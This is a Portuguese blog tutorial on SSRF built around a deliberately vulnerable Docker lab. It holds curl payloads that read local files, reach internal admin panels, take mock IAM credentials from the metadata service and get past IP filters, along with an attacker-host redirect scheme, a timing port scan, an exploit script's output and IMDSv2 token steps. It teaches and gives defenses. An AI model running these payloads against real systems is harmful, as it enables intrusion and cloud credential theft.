Por que SSRF importa agora
Existe um padrão que eu vejo se repetir toda vez que uma empresa migra para cloud: a segurança de rede que funcionava on-premise simplesmente evapora. Firewalls, VLANs, segmentação física - tudo isso perde sentido quando um único requests.get(user_input) no backend consegue alcançar o serviço de metadados em 169.254.169.254 e cuspir credenciais IAM com permissão de admin.
SSRF - Server-Side Request Forgery - é isso. Você não precisa invadir nada. Você pede para o servidor fazer uma requisição em seu nome, e ele obedece. Como ele está dentro da rede interna, ele alcança tudo que você, de fora, não conseguiria. O servidor vira seu proxy involuntário.
Nos posts anteriores sobre request smuggling e web cache deception, o tema central era desacordo entre componentes. No smuggling, dois parsers HTTP discordam sobre limites de requisição. No cache deception, cache e backend interpretam a mesma URL de formas incompatíveis. SSRF segue uma lógica diferente: não é desacordo, é confiança excessiva. O backend confia que a rede interna é segura. Confia que ninguém de fora vai conseguir falar com o Redis, com o painel admin, com o metadata service. E aí o atacante descobre um parâmetro que aceita uma URL, e toda essa confiança desmorona.
O caso da Capital One em 2019 cristalizou isso para a indústria inteira: um SSRF num WAF levou ao vazamento de dados de 106 milhões de pessoas. Não foi um zero-day exótico. Foi um curl para 169.254.169.254.
Neste artigo, eu construí um lab com Docker que simula exatamente esse cenário. Quatro serviços na mesma rede, apenas um exposto. Vamos destrinchar o código vulnerável, explorar cada vetor manualmente, entender por que os filtros falham, e discutir como se defender de verdade.
O repositório:
https://github.com/renansj/ssrf-lab
Público-alvo
- Pentesters e profissionais de AppSec que querem explorar SSRF além do básico
- Devs que precisam entender por que
urllib.request.urlopen(user_input)é perigoso - Quem está se preparando para OSWE, BSCP ou similares
- Qualquer pessoa interessada em como bugs de aplicação escalam para comprometimento de infra
O que você precisa
- Linux com Docker e Docker Compose
curl,jq, Python 3- Noções de HTTP e redes (IP, porta, DNS)
Subindo o lab
cd ssrf-lab/
docker-compose up -d --build
curl http://localhost:8080/
Apenas a porta 8080 está exposta. Os outros três serviços - admin panel, Redis, metadata - existem apenas na rede Docker interna. Essa separação é o que vamos quebrar.
O conceito central
SSRF acontece quando três condições coexistem:
1. O servidor faz requisições controladas pelo usuário. Qualquer feature que receba uma URL e busque seu conteúdo é candidata: webhook validators, importadores de imagem, geradores de PDF, preview de links, integrações com APIs externas.
2. O destino não é validado corretamente. O servidor não verifica (ou verifica mal) se a URL aponta para um recurso interno, um protocolo perigoso ou um IP privado.
3. O servidor tem acesso privilegiado. Rede interna, localhost, metadados de cloud, bancos que só aceitam conexão local. Se o servidor não tivesse acesso a nada que o atacante já não possa alcançar, o SSRF seria inofensivo.
Quando as três se alinham, o resultado é um oráculo de rede: o atacante controla o destino, e o servidor busca o que ele mandar.
Classificação por feedback
O que diferencia os tipos de SSRF é quanta informação volta para o atacante:
Full-read (SSRF clássico)
O servidor retorna o conteúdo completo da resposta. Você manda url=http://169.254.169.254/latest/meta-data/ e recebe tudo de volta. É o cenário mais direto e mais devastador.
Blind SSRF
A requisição é feita, mas o conteúdo não é exposto. O atacante confirma a existência do SSRF por canais indiretos:
- Timing: hosts existentes respondem em milissegundos; hosts inexistentes dão timeout. Essa diferença é suficiente para port scanning.
- Out-of-band (OOB): aponte a URL para um servidor sob seu controle e observe a conexão chegar (Burp Collaborator, webhook.site, netcat).
- Side effects: se o SSRF alcança um endpoint com efeitos colaterais (
/admin/restart,/cache/flush), o efeito é observável externamente.
Semi-blind
O servidor não retorna o body, mas vaza informação parcial - mensagens de erro diferentes para porta aberta vs. fechada, para host existente vs. inexistente. Suficiente para mapear a rede interna.
A arquitetura do lab
O lab reproduz um padrão de produção que vejo constantemente: aplicação web na frente, serviços internos “protegidos pela rede” atrás.
┌─────────────────────────────────────────────────────────┐
│ Rede Docker (172.28.0.0/16) │
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Admin Panel │ │ Redis │ │
│ │ :8081 │ │ :6379 │ │
│ │ (sem auth) │ │ (sem senha) │ │
│ └──────────────┘ └──────────────┘ │
│ │
│ ┌──────────────┐ ┌──────────────────────────────┐ │
│ │ Metadata │ │ App Flask (vulnerável) │ │
│ │ :80 │ │ :5000 -> exposta em :8080 │ │
│ │ 172.28.0.100 │ │ │ │
│ └──────────────┘ └──────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
Quatro serviços:
- App Flask (8080 externamente): nosso alvo. Única coisa acessível de fora.
- Admin Panel (8081, interno): interface administrativa sem autenticação. Expõe flags, credenciais de banco, tokens de serviço. Justificativa? “Só acessa quem está na rede interna.”
- Redis (6379, interno): banco in-memory sem senha. Mesmo raciocínio.
- Metadata Service (porta 80, IP fixo 172.28.0.100): mock do IMDSv1 da AWS. Retorna credenciais IAM temporárias para qualquer GET request local.
A premissa de segurança é segmentação de rede. O SSRF vai provar que essa premissa é insuficiente.
Dissecando o código vulnerável
Abra o app/app.py. O endpoint principal que nos interessa:
@app.route("/fetch")
def fetch_url():
url = request.args.get("url", "")
if not url:
return jsonify({"error": "Parâmetro 'url' é obrigatório"}), 400
if not naive_filter(url):
return jsonify({"error": "URL bloqueada pelo filtro de segurança"}), 403
try:
resp = urllib.request.urlopen(url, timeout=5)
content = resp.read().decode("utf-8", errors="replace")
return jsonify({
"url": url,
"status_code": resp.getcode(),
"content": content[:10000],
})
except Exception as e:
return jsonify({"url": url, "error": str(e)}), 500
Três problemas fundamentais nesse código:
urllib.request.urlopen() - essa função é um canivete suíço de protocolos. Aceita http://, https://, file://, ftp://. O dev provavelmente queria apenas HTTP, mas urllib não discrimina. Quando você passa file:///etc/passwd, ele lê o arquivo com a mesma tranquilidade com que faria um GET HTTP. É excesso de capacidade: a função pode mais do que o caso de uso exige.
O filtro é uma blocklist baseada em string - olha como ele funciona:
BLOCKED_HOSTS = [
"127.0.0.1",
"localhost",
"0.0.0.0",
"169.254.169.254",
"metadata.google.internal",
]
def naive_filter(url):
lower = url.lower()
for blocked in BLOCKED_HOSTS:
if blocked in lower:
return False
if lower.startswith("file://"):
return False
return True
Ele procura substrings. Se a URL contém “127.0.0.1”, bloqueia. O problema? Existem dezenas de representações do mesmo IP que não contêm essa string literal. O filtro opera na camada textual; a rede opera na camada numérica. Essa diferença semântica é a raiz de todos os bypasses que veremos adiante.
O conteúdo retorna inteiro - content[:10000] vai direto para o JSON de resposta. Isso faz do endpoint um SSRF full-read. O atacante vê tudo que o servidor busca.
O lab também oferece um endpoint sem filtro algum (/fetch-no-filter) para demonstrar o caso puro, e um endpoint de Blind SSRF via webhook:
@app.route("/webhook", methods=["POST"])
def register_webhook():
url = request.json.get("url", "") if request.is_json else request.form.get("url", "")
if not url:
return jsonify({"error": "Parâmetro 'url' é obrigatório"}), 400
try:
requests.get(url, timeout=5)
return jsonify({
"status": "ok",
"message": "Webhook registrado com sucesso",
"url": url,
})
except requests.exceptions.Timeout:
return jsonify({
"status": "ok",
"message": "Webhook registrado (timeout na validação)",
})
except Exception as e:
return jsonify({
"status": "error",
"message": f"Falha ao validar webhook: {str(e)}",
}), 400
Aqui a lib requests faz o fetch, mas o body nunca é exposto ao cliente. É Blind SSRF puro - a exploração depende de timing e callbacks OOB.
Exploração manual: mãos no teclado
Suba o lab e acompanhe. Cada passo demonstra um vetor distinto.
Lendo arquivos do servidor com file://
O protocolo file:// transforma SSRF em LFI (Local File Inclusion). Sem sair do HTTP, você lê o filesystem:
curl -s "http://localhost:8080/fetch-no-filter?url=file:///etc/passwd" | jq .
{
"url": "file:///etc/passwd",
"status_code": null,
"content": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..."
}
Em produção, os alvos seriam: /app/.env, configs com credenciais, chaves SSH em /root/.ssh/id_rsa, o próprio código-fonte da aplicação.
Lendo o source do backend:
curl -s "http://localhost:8080/fetch-no-filter?url=file:///app/app.py" | jq -r .content
Isso revela outros endpoints, segredos hardcoded, lógica interna. Informação que facilita toda exploração subsequente.
Acessando o painel admin interno
O admin panel está em admin-panel:8081 na rede Docker. De fora, inacessível. Via SSRF:
curl -s "http://localhost:8080/fetch-no-filter?url=http://admin-panel:8081/" | jq .
{
"url": "http://admin-panel:8081/",
"status_code": 200,
"content": "{\"service\":\"Internal Admin Panel\",\"flag\":\"FLAG{ssrf_internal_admin_compromised_2026}\",...}"
}
Sem autenticação, sem firewall, sem nada. A “proteção” era a rede. E agora extraindo configs:
curl -s "http://localhost:8080/fetch-no-filter?url=http://admin-panel:8081/config" | jq -r .content | jq .
{
"database": {
"host": "db.corp.internal",
"port": 5432,
"username": "app_prod",
"password": "Pr0d_P@ssw0rd_2026!"
},
"redis": {
"host": "redis",
"port": 6379
},
"secrets": {
"jwt_secret": "super-secret-jwt-key-that-should-never-leak",
"encryption_key": "aes256-key-0x4f8a2b1c9d3e7f6a"
}
}
Credenciais de banco, JWT secret, chave AES. Um único request via SSRF e a segmentação de rede virou ficção.
Roubando credenciais IAM do metadata service
Este é o vetor que elevou SSRF de curiosidade para catástrofe. Em qualquer EC2/GCE/Azure VM, o endereço 169.254.169.254 serve metadados da instância - incluindo credenciais IAM temporárias com as permissões da role atribuída.
No lab, o mock está em metadata:80:
# Descobrindo a role
curl -s "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/" | jq -r .content
Saída: prod-web-role
# Extraindo as credenciais
curl -s "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/prod-web-role" | jq -r .content | jq .
{
"Code": "Success",
"AccessKeyId": "ASIAFAKEKEY123456789",
"SecretAccessKey": "FakeSecretKey+AbCdEfGhIjKlMnOpQrStUvWxYz",
"Token": "FakeSessionToken//////////long-token-value...",
"Expiration": "2026-06-10T18:00:00Z"
}
Com essas credenciais no AWS CLI, o atacante opera como a role prod-web-role. Se essa role tem acesso amplo (e frequentemente tem), é game over para a conta inteira.
O user-data também costuma ter segredos:
curl -s "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/user-data" | jq -r .content
#!/bin/bash
export DB_HOST=db.corp.internal
export DB_PASS=Pr0d_P@ssw0rd_2026!
export SECRET_KEY=super-secret-app-key
aws s3 cp s3://corp-secrets/prod.env /opt/app/.env
Scripts de bootstrap com credenciais em texto puro. “Só a instância vê isso” - até alguém descobrir o SSRF.
Contornando filtros
Em pentests reais, o endpoint quase nunca está completamente aberto. Sempre tem algum filtro. A questão é: esse filtro é robusto ou é teatro?
Representações alternativas de IP
O filtro bloqueia a string “127.0.0.1”. Mas o mesmo endereço pode ser escrito de várias formas que o kernel aceita:
# Decimal: 127*16777216 + 0*65536 + 0*256 + 1 = 2130706433
curl -s "http://localhost:8080/fetch?url=http://2130706433:5000/" | jq .
# Hexadecimal completo
curl -s "http://localhost:8080/fetch?url=http://0x7f000001:5000/" | jq .
# Octal no primeiro octeto
curl -s "http://localhost:8080/fetch?url=http://0177.0.0.1:5000/" | jq .
# Hex por octeto
curl -s "http://localhost:8080/fetch?url=http://0x7f.0x0.0x0.0x1:5000/" | jq .
Nenhuma dessas strings contém “127.0.0.1”. Todas resolvem para o mesmo endereço na camada de rede. O filtro vê texto; o socket vê números.
IPv6
# Loopback IPv6
curl -s "http://localhost:8080/fetch?url=http://[::1]:5000/" | jq .
# IPv4-mapped em IPv6
curl -s "http://localhost:8080/fetch?url=http://[::ffff:127.0.0.1]:5000/" | jq .
# Formato longo
curl -s "http://localhost:8080/fetch?url=http://[0:0:0:0:0:0:0:1]:5000/" | jq .
Filtros focados em IPv4 esquecem que ::1 é localhost. Em sistemas dual-stack, ::ffff:127.0.0.1 funciona perfeitamente.
Bypass via redirect (302)
Este é dos mais eficazes em campo. O fluxo:
- Atacante fornece URL que aponta para servidor externo:
http://attacker.com/go - Filtro verifica - não é interno, passa
- Servidor busca
http://attacker.com/go - Resposta:
302 Location: http://169.254.169.254/latest/meta-data/ - Lib HTTP segue o redirect automaticamente e busca os metadados
O filtro validou o destino inicial. Mas o destino final, pós-redirect, é interno. Se a biblioteca segue redirects (comportamento padrão), o filtro se torna irrelevante.
No lab, temos um open redirect embutido:
# Direto - bloqueado
curl -s "http://localhost:8080/fetch?url=http://169.254.169.254/" | jq .
# -> "URL bloqueada pelo filtro de segurança"
# Via redirect - passa
curl -s "http://localhost:8080/fetch?url=http://localhost:8080/redirect?target=http://metadata:80/latest/meta-data/" | jq .
A defesa correta: validar cada hop da cadeia de redirects, ou simplesmente desabilitar follow de redirects em requests server-side.
DNS Rebinding
Técnica sofisticada que explora a separação temporal entre validação e uso (TOCTOU):
- Atacante controla
evil.comcom servidor DNS próprio, TTL=0 - Primeira resolução (no momento da validação):
evil.com->1.2.3.4(IP público legítimo) - Filtro aprova - não é interno
- Segunda resolução (no momento do fetch):
evil.com->127.0.0.1 - O request vai para localhost
Funciona contra filtros que fazem gethostbyname() para validar e depois passam o hostname original para a lib HTTP, que resolve DNS novamente. A mitigação é resolver uma vez e usar o IP diretamente no request.
Truques de URL parsing
Parsers diferentes interpretam URLs ambíguas de formas distintas:
# Userinfo @ - RFC 3986 diz que tudo antes de @ é userinfo
# Se o filtro vê "google.com" como host, mas a lib vê "admin-panel" como host:
curl -s "http://localhost:8080/fetch?url=http://google.com@admin-panel:8081/" | jq .
# Backslash vs forward slash
curl -s "http://localhost:8080/fetch?url=http://admin-panel:8081\@google.com/" | jq .
Em http://user@host/, a RFC é clara: host é o que vem depois do @. Mas filtros ingênuos podem parsear errado e tratar o que vem antes do @ como o hostname.
Caracteres Unicode normalizados
Certas normalizações Unicode (NFKC) colapsam caracteres exóticos para ASCII:
ⓛⓞⓒⓐⓛⓗⓞⓢⓣ -> localhost
①②⑦.⓪.⓪.① -> 127.0.0.1
Se o filtro não normaliza antes de comparar, não reconhece “localhost”. Mas se o resolver ou a lib HTTP normaliza antes de processar, o resultado é o mesmo endpoint.
Detectando Blind SSRF
Quando o conteúdo não retorna, a exploração muda de paradigma. Você trabalha com inferência.
Port scan via timing
# Serviço que existe - resposta rápida
time curl -s -X POST -H "Content-Type: application/json" \
-d '{"url":"http://admin-panel:8081/"}' \
http://localhost:8080/webhook
# Serviço que não existe - timeout (5s)
time curl -s -X POST -H "Content-Type: application/json" \
-d '{"url":"http://host-que-nao-existe:9999/"}' \
http://localhost:8080/webhook
~100ms vs ~5000ms. Essa diferença é binária o suficiente para mapear toda a rede interna, porta por porta.
Callback OOB
# Aponte para servidor sob seu controle
curl -s -X POST -H "Content-Type: application/json" \
-d '{"url":"http://SEU-BURP-COLLABORATOR/ssrf-test"}' \
http://localhost:8080/webhook
No seu listener, você vê a conexão chegar. Isso confirma: (1) SSRF existe, (2) IP de origem do servidor, (3) headers que ele envia (User-Agent, etc.).
Ferramentas úteis: Burp Collaborator (profissional), webhook.site (gratuito), ou um simples nc -lnvp 8888.
Scan de portas automatizado
for port in 22 80 443 3306 5432 6379 8080 8081 9200; do
echo -n "Porta $port: "
start=$(date +%s%N)
curl -s -o /dev/null -X POST -H "Content-Type: application/json" \
-d "{\"url\":\"http://admin-panel:$port/\"}" \
http://localhost:8080/webhook
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "${elapsed}ms"
done
Portas abertas: resposta rápida (connection reset ou HTTP response). Portas filtradas: timeout. O delta é o sinal.
Cadeias de impacto
SSRF quase nunca é o objetivo final. É o primeiro passo de uma cadeia mais longa.
Metadata -> IAM -> Movimentação lateral
A cadeia clássica pós-Capital One:
- Descobre SSRF no app web
- Acessa
169.254.169.254, extrai credenciais IAM - Configura AWS CLI com as credenciais temporárias
- Lista S3 buckets, DynamoDB tables, Secrets Manager
- Exfiltra dados em escala
Quebra-se com IMDSv2 (que exige token via PUT com hop-limit=1) ou removendo a role da instância quando não necessária.
Serviços internos -> Credenciais -> Acesso ao banco
- SSRF alcança admin panel sem auth
- Extrai credenciais de banco de dados
- Se o banco aceita conexão da internet (ou via outro SSRF), acesso direto aos dados
Redis sem senha -> RCE
Redis exposto internamente sem autenticação é epidêmico. Via SSRF:
curl -s "http://localhost:8080/fetch-no-filter?url=http://redis:6379/" | jq .
A conexão TCP acontece (mesmo que o Redis não fale HTTP, a tentativa confirma acessibilidade). Com protocolo gopher://, seria possível enviar comandos Redis crus para escrever um webshell no filesystem.
Admin panels internos -> Configuração arbitrária
Grafana, Kibana, Jenkins, phpMyAdmin - serviços que “não precisam de auth porque são internos”. Via SSRF, todos estão ao alcance.
Port scanning -> Mapeamento da rede
Mesmo sem exfiltrar dados, mapear quais hosts e portas existem na rede interna é informação valiosa para ataques subsequentes.
O exploit automatizado
O exploit.py no repositório orquestra todos os vetores em sequência. A estrutura:
def test_file_read(target):
"""Lê /etc/passwd via file:// no endpoint sem filtro"""
url = f"{target}/fetch-no-filter?url=file:///etc/passwd"
r = requests.get(url, timeout=10)
data = r.json()
if "root:" in data.get("content", ""):
success("Leitura de /etc/passwd bem-sucedida!")
return True
return False
def test_internal_services(target):
"""Acessa admin panel e extrai a flag"""
url = f"{target}/fetch-no-filter?url=http://admin-panel:8081/"
r = requests.get(url, timeout=10)
data = r.json()
if "FLAG{" in data.get("content", ""):
success("Acesso ao painel admin interno confirmado!")
return True
return False
def test_metadata_exfil(target):
"""Lista IAM roles e extrai credenciais temporárias"""
# Descobre role, depois busca credenciais
...
def test_filter_bypasses(target):
"""Testa IP decimal, hex, octal, IPv6, redirect, @ confusion"""
...
def test_port_scan(target):
"""Mapeia serviços internos via timing"""
...
Executando:
$ python3 exploit.py --target http://localhost:8080
============================================================
SSRF Exploit | Proof of Concept
============================================================
[*] Alvo: http://localhost:8080
[+] Alvo acessível!
============================================================
[*] TESTE 1: Leitura de arquivos locais via file://
============================================================
[*] Requisição: GET http://localhost:8080/fetch-no-filter?url=file:///etc/passwd
[+] Leitura de /etc/passwd bem-sucedida!
Conteúdo (primeiras linhas):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
[*] TESTE 2: Acesso a serviços internos via SSRF
============================================================
[+] Acesso ao painel admin interno confirmado!
Flag encontrada: FLAG{ssrf_internal_admin_compromised_2026}
============================================================
[*] TESTE 3: Exfiltração de metadados AWS (IMDSv1)
============================================================
[+] IAM Role encontrada: prod-web-role
[+] CREDENCIAIS IAM EXFILTRADAS!
AccessKeyId: ASIAFAKEKEY123456789
SecretAccessKey: FakeSecretKey+AbCdEfGhIjKlMnOpQrStUvWxYz
Token: FakeSessionToken//////////long-token-value...
============================================================
[*] TESTE 4: Bypasses de filtro SSRF
============================================================
[+] IP Decimal (2130706433) - BYPASS FUNCIONOU!
[+] IPv6 Loopback (::1) - BYPASS FUNCIONOU!
[+] Redirect (302) - BYPASS FUNCIONOU!
============================================================
RELATÓRIO FINAL
============================================================
✓ SUCESSO - Leitura de arquivos (file://)
✓ SUCESSO - Acesso a serviços internos
✓ SUCESSO - Exfiltração de metadados AWS
✓ SUCESSO - Bypass de filtros
[+] TODOS os vetores de SSRF foram explorados com sucesso!
O script segue a convenção [+]/[-]/[*] de tooling ofensivo. Em relatórios de pentest, esse output vira evidência de impacto.
Mundo real: Capital One 2019
O incidente que colocou SSRF no mapa das vulnerabilidades de infraestrutura.
O cenário: Capital One usava uma instância EC2 rodando um WAF (ModSecurity) como proxy reverso. Esse WAF tinha um endpoint que aceitava URLs arbitrárias - SSRF clássico.
A cadeia de ataque:
- A atacante (Paige Thompson, ex-engenheira da AWS) identificou o SSRF
- Acessou
169.254.169.254via SSRF para obter credenciais da IAM role*-WAF-Role - A role tinha permissão
s3:GetObjectes3:ListBucketem buckets de dados de clientes - Exfiltrou dados de 106 milhões de pessoas: nomes, endereços, scores de crédito, SSNs parciais
O resultado: multa de $80 milhões da OCC, processos judiciais, e o caso se tornou o exemplo canônico de por que IMDSv1 é perigoso.
O que teria prevenido: IMDSv2 (exige token via PUT com hop-limit=1, quebrando a cadeia SSRF->metadata), princípio de menor privilégio na IAM role (a role do WAF não precisava acessar S3 com dados de clientes), ou simplesmente corrigir o SSRF no WAF.
SSRF vs CSRF: esclarecendo a confusão
Nomes parecidos, vulnerabilidades completamente diferentes:
| Aspecto | SSRF | CSRF |
|---|---|---|
| Sigla | Server-Side Request Forgery | Cross-Site Request Forgery |
| Quem faz o request? | O servidor | O navegador da vítima |
| Quem é enganado? | O servidor (acha que o request é legítimo) | O navegador (envia cookies automaticamente) |
| Alvo do request | Rede interna, metadata, localhost | A própria aplicação (com sessão da vítima) |
| Impacto típico | Leitura de dados internos, credenciais, RCE | Ações em nome da vítima (transferir dinheiro, mudar senha) |
| Defesa principal | Validação de destino, allowlist, IMDSv2 | Tokens anti-CSRF, SameSite cookies |
O macete para lembrar: em SSRF, o servidor é o intermediário enganado. Em CSRF, o navegador é o intermediário enganado.
Defesas que funcionam
Proteger contra SSRF não é trivial porque aplicações legitimamente precisam fazer requests server-side. A questão é restringir para onde.
1. Allowlist sobre blocklist
Blocklist é uma corrida armamentista que você vai perder. Sempre existe mais um bypass. Inverta a lógica:
ALLOWED_HOSTS = ["api.parceiro.com", "cdn.exemplo.com"]
def validate_url(url):
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host não permitido")
if parsed.scheme not in ("http", "https"):
raise ValueError("Protocolo não permitido")
Se a aplicação só precisa falar com domínios conhecidos, permita apenas esses. Tudo mais é bloqueado por padrão.
2. Biblioteca HTTP restrita (sem file://)
Não use urllib.request.urlopen() com input de usuário. Use requests, que só faz HTTP/HTTPS:
import requests
# requests não suporta file:// - elimina esse vetor inteiro
resp = requests.get(user_url, timeout=5, allow_redirects=False)
3. Desabilitar ou validar redirects
resp = requests.get(url, allow_redirects=False)
if resp.status_code in (301, 302, 303, 307, 308):
redirect_url = resp.headers.get("Location")
if not validate_url(redirect_url):
raise ValueError("Redirect para destino proibido")
Cada hop da cadeia precisa ser validado. Ou simplesmente não siga redirects em requests server-side.
4. Resolução DNS + validação de IP
Quando allowlist de domínios não é viável (a aplicação aceita URLs arbitrárias), resolva o DNS e valide o IP resultante:
import socket
import ipaddress
def is_safe_destination(url):
parsed = urllib.parse.urlparse(url)
hostname = parsed.hostname
try:
ip = socket.gethostbyname(hostname)
except socket.gaierror:
return False
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
return True
Atenção: isso sozinho é vulnerável a DNS rebinding. A mitigação completa exige fazer o request usando o IP resolvido diretamente (não o hostname), ou pinnar o DNS na mesma operação.
5. IMDSv2 obrigatório
Na AWS, migre para IMDSv2 e force como obrigatório:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
IMDSv2 exige um token obtido via PUT com header X-aws-ec2-metadata-token-ttl-seconds antes de qualquer consulta. A ideia e que o hop-limit=1 impede que uma requisicao SSRF (que adiciona pelo menos um hop de rede) consiga completar o PUT. Na teoria, isso quebra a cadeia SSRF para metadata. Na pratica, nem sempre.
Quando IMDSv2 NAO protege
IMDSv2 so protege se o SSRF for limitado a GET simples. Se o atacante controla o metodo HTTP e os headers da requisicao (o que acontece em muitas bibliotecas e funcionalidades), ele pode gerar o token diretamente:
# Passo 1: atacante usa SSRF para fazer PUT e obter o token
# (funciona se o SSRF permite controlar metodo + headers)
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Resposta: AQAEAHkS2p0pTj... (token valido por 6h)
# Passo 2: usa o token para consultar metadata normalmente
curl -H "X-aws-ec2-metadata-token: AQAEAHkS2p0pTj..." \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
Cenarios em que o atacante consegue gerar o token:
-
SSRF com controle total da requisicao: quando o endpoint vulneravel permite especificar metodo, headers e URL. Exemplos: integradores de webhook com configuracao de headers customizados, proxies internos, funcoes serverless que fazem requests genericos.
-
Hop-limit mal configurado: se o administrador configurou
--http-put-response-hop-limit 2(ou mais), requisicoes SSRF que passam por um proxy intermediario dentro da mesma VPC conseguem completar o PUT normalmente. -
SSRF no proprio host: se a vulnerabilidade esta em codigo rodando na mesma instancia EC2 (nao atravessa hop nenhum), o hop-limit=1 nao impede nada. O PUT sai da instancia e volta para ela mesma com hop count zero.
-
Container na mesma task: em ECS/Fargate, containers na mesma task compartilham a interface de rede. Um SSRF em um container sidecar atinge metadata sem hop adicional.
Na pratica, IMDSv2 elevou a barra, mas nao e uma solucao definitiva. A defesa real continua sendo nao ter SSRF no codigo. Trate IMDSv2 como uma camada extra, nao como desculpa para nao validar URLs.
6. Autenticação em serviços internos
Pare de confiar na rede. Redis precisa de senha. Admin panels precisam de auth. Mesmo “internamente”. Se SSRF acontecer (e vai acontecer), a segunda barreira segura.
7. Egress filtering
Restrinja o tráfego de saída da aplicação via security groups ou network policies. Se o app server não precisa falar com o metadata service, bloqueie no nível de rede.
Conclusão
SSRF cristaliza um problema fundamental da segurança em cloud: confiança implícita na rede não escala. O código vulnerável pode ser uma única linha - urllib.request.urlopen(user_input). Mas quando essa linha roda dentro de uma VPC com acesso a metadados, serviços internos e bancos sem senha, o impacto é desproporcional.
O que vale guardar deste post:
- SSRF transforma o servidor em proxy do atacante para a rede interna. Os três pré-requisitos são: request controlável, validação insuficiente, acesso privilegiado.
- Blocklists de IP são teatro de segurança. Encoding alternativo, IPv6, DNS rebinding e redirects as destroem. Allowlists são a resposta.
- A cadeia SSRF para metadata para IAM e tao destrutiva que a AWS criou o IMDSv2 para dificulta-la. Mas se o SSRF permite PUT com headers, o token pode ser gerado pelo atacante. IMDSv2 eleva a barra, nao elimina o risco.
- Blind SSRF não exfiltra diretamente, mas timing e OOB tornam possível mapear toda a rede interna.
- Defesa real é em camadas: validação de URL + biblioteca restrita + sem follow de redirects + IMDSv2 + auth em serviços internos + egress filtering.
Se você quer internalizar isso, suba o lab, rode o exploit, e depois implemente as defesas uma por uma. Troque urllib por requests com allow_redirects=False. Adicione validação de IP pós-resolução DNS. Force IMDSv2. Observe cada vetor quebrar. Esse ciclo de atacar e depois defender é o que transforma conhecimento teórico em intuição prática.
Repositório com tudo pronto:
https://github.com/renansj/ssrf-lab
Próximos passos
- Gopher e protocolos exóticos: como
gopher://transforma SSRF em RCE via Redis/Memcached/SMTP - SSRF em serverless: Lambda, ECS, EKS e seus próprios metadata endpoints
- Detecção em CI/CD: testes automatizados de SSRF em pipelines com DAST
- Cache Poisoning: depois de cache deception e SSRF, envenenar o cache para atacar todos os usuários de uma vez
Referências
- Orange Tsai, “A New Era of SSRF”, BlackHat USA 2017
- Capital One Breach Analysis, Krebs on Security, 2019
- AWS Documentation, “Instance Metadata Service Version 2 (IMDSv2)”
- PortSwigger Web Security Academy, “Server-side request forgery (SSRF)”
- OWASP, “Server-Side Request Forgery Prevention Cheat Sheet”
- RFC 3986, “Uniform Resource Identifier (URI): Generic Syntax”
- Omer Gil, “Web Cache Deception Attack”, 2017
Publicado em junho de 2026. Lab testado com Docker Compose - Flask + serviços internos propositalmente vulneráveis para estudo.
Curtiu? Compartilha com quem trabalha com segurança. Conteúdo técnico em português sobre ofensiva é raro e precisa circular mais.